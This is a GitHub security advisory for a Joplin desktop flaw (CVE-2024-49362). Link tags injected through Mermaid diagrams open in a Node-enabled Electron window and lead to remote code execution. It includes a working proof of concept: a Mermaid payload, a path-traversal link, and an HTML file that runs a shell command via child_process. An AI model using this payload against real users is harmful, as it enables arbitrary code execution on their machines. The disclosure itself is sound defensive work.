Skip to content

Remote Code Execution on click of <a> Link in markdown preview

High severity GitHub Reviewed Published Nov 14, 2024 in laurent22/joplin • Updated Nov 14, 2024

Package

npm joplin (npm)

Affected versions

= 3.0

Patched versions

3.1

Description

Summary

There is a vulnerability in Joplin-desktop that leads to remote code execution (RCE) when a user clicks on an <a> link within untrusted notes. The issue arises due to insufficient sanitization of <a> tag attributes introduced by the Mermaid. This vulnerability allows the execution of untrusted HTML content within the Electron window, which has full access to Node.js APIs, enabling arbitrary shell command execution.

Details

In the markdown preview iframe, Joplin only opens <a> links internally within the same Electron window if they contain the data-from-md attribute. While Joplin successfully sanitizes the data-from-md attribute in user-embedded <a> links from the .md file to prevent the execution of untrusted HTML content, it fails to sanitize the data-from-md attributes of <a> tags introduced by Mermaid (e.g., the code snippet shown below). Since Mermaid allows the rendering of certain scriptless HTML elements, an attacker can embed <a> tags with data-from-md attributes, which will then be opened internally in the same Electron window.

Additionally, Joplin opens the window with nodeIntegration set to true and contextIsolation set to false, resulting in any scripts running in the opened window having full access to Node.js APIs. Furthermore, the markdown preview iframe shares the same origin (i.e.,local file system) as its parent and lacks the sandbox attribute, allowing scripts running in the iframe to call Node.js APIs through window.parent. As a result, an attacker can execute arbitrary code using Node.js APIs by exploiting HTML files stored on the local file system, which share the same origin as the parent.

Relevant code references:

  • Payload to inject <a> with data-from-md attribute:
```mermaid
flowchart TD
    A[<a href="https://attacker.com" data-from-md>hello</a>]
```
  • Handling link navigation in the markdown preview iframe

https://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/lib/renderers/webviewLib.js#L93-L116

  • Window configuration of Joplin window

https://github.com/laurent22/joplin/blob/e6c09da639adeb76f12e4477cc8442c49c0ced0c/packages/app-desktop/ElectronAppWrapper.ts#L141-L155

PoC

Considering the user has downloaded the following shared files from the internet (Note: the threat model aligns with existing published security issues: GHSA-2h88-m32f-qh5m and GHSA-g8qx-5vcm-3x59, where the malicious HTML file is available locally):

  • poc.md
```mermaid
flowchart TD
    A[<a href="/../../../../../../../../../../../../../../../path/to/poc2.html" data-from-md>hello</a>]
```
  • poc2.html
<html>
  <body>
    <script>
      if (typeof window.parent.require !== 'undefined') {
        const { exec } = window.parent.require('child_process');
        exec('ls -al', (err, stdout, stderr) => {
          if (err) {
            document.body.innerText = `Error: ${err.message}`;
            return;
          }
          if (stderr) {
            document.body.innerText = `Stderr: ${stderr}`;
            return;
          }
          document.body.innerText = stdout;
        });
      } else {
        document.body.innerText = 'Require is not available in this environment.';
      }
    </script>
  </body>
</html>

Then, open the poc.md with Joplin and click on the hello link. The code embedded in the poc2.html will be executed.

result

Impact

This vulnerability can lead to Remote Code Execution (RCE) when users open and interact with untrusted notes, while malicious HTML files are available locally.

References

@laurent22 laurent22 published to laurent22/joplin Nov 14, 2024
Published to the GitHub Advisory Database Nov 14, 2024
Reviewed Nov 14, 2024
Published by the National Vulnerability Database Nov 14, 2024
Last updated Nov 14, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
High
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:L

EPSS score

0.043%
(10th percentile)

Weaknesses

CVE ID

CVE-2024-49362

GHSA ID

GHSA-hff8-hjwv-j9q7

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.